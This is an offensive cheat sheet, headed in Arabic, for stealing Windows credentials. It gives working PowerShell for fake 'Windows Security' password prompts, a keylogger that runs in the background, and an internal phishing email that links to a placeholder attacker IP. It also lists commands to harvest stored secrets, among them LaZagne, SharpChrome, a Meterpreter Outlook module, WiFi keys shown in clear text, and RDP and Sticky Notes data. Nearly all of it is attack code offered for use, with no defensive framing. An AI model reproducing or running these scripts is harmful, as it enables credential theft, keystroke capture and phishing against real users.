استغلال تفاعل المستخدمين لسرقة Credentials


Fake Credential Dialog

# يظهر نافذة "Windows Security" تطلب كلمة مرور

# طريقة 1 — PromptForCredential:
$cred = $host.ui.PromptForCredential(
    "Windows Security",
    "Your session has expired. Please re-enter your credentials to continue.",
    "",
    ""
)
# استخراج كلمة المرور:
$cred.GetNetworkCredential().Password
$cred.GetNetworkCredential().UserName

# طريقة 2 — لواجهة GUI أجمل:
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing

$form = New-Object System.Windows.Forms.Form
$form.Text = "Windows Security"
$form.Size = New-Object System.Drawing.Size(400,250)
$form.StartPosition = "CenterScreen"
$form.TopMost = $true

$label = New-Object System.Windows.Forms.Label
$label.Text = "Enter your credentials to continue:"
$label.AutoSize = $true
$label.Location = New-Object System.Drawing.Point(20,20)

$passLabel = New-Object System.Windows.Forms.Label
$passLabel.Text = "Password:"
$passLabel.AutoSize = $true
$passLabel.Location = New-Object System.Drawing.Point(20,80)

$passBox = New-Object System.Windows.Forms.TextBox
$passBox.PasswordChar = '*'
$passBox.Location = New-Object System.Drawing.Point(100,77)

$btn = New-Object System.Windows.Forms.Button
$btn.Text = "OK"
$btn.Location = New-Object System.Drawing.Point(150,150)
$btn.Add_Click({ $form.Tag = $passBox.Text; $form.Close() })

$form.Controls.AddRange(@($label,$passLabel,$passBox,$btn))
$form.ShowDialog() | Out-Null
$form.Tag  # الكلمة هنا

Keylogger — PowerShell

# Keylogger بسيط يسجّل ضغطات المفاتيح

$API = Add-Type -memberDefinition @"
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 vKey);
"@ -name "Win32" -namespace Win32Functions -passThru

$logFile = "C:\temp\keylog.txt"
$buffer = ""

while ($true) {
    Start-Sleep -Milliseconds 50
    for ($i = 32; $i -le 254; $i++) {
        if ($API::GetAsyncKeyState($i) -eq -32767) {
            $buffer += [char]$i
            if ($buffer.Length -gt 50) {
                Add-Content $logFile $buffer
                $buffer = ""
            }
        }
    }
}

# بشكل Background:
Start-Job -ScriptBlock $keyloggerBlock

Phishing via Email (Internal)

# إرسال بريد داخلي يطلب كلمة مرور

$smtp = New-Object Net.Mail.SmtpClient("mail.domain.local")
$msg = New-Object Net.Mail.MailMessage
$msg.From = "[email protected]"
$msg.To.Add("[email protected]")
$msg.Subject = "Urgent: Password Reset Required"
$msg.Body = "Please click here to reset: http://<your_phishing_IP>/login"
$smtp.Send($msg)

# أو باستخدام Outlook من Meterpreter:
run post/windows/gather/credentials/outlook

Pillaging — جمع كل شيء مفيد

# LaZagne — كل passwords بضغطة
.\lazagne.exe all
.\lazagne.exe browsers
.\lazagne.exe mails
.\lazagne.exe databases

# Credentials Manager
cmdkey /list

# Browser Passwords
# Chrome:
$chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
# استخدم SharpChrome:
.\SharpChrome.exe logins

# WiFi Passwords
netsh wlan show profiles
netsh wlan show profile name="<SSID>" key=clear

# RDP Saved Credentials
reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers"

# Sticky Notes
type "$env:LOCALAPPDATA\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite"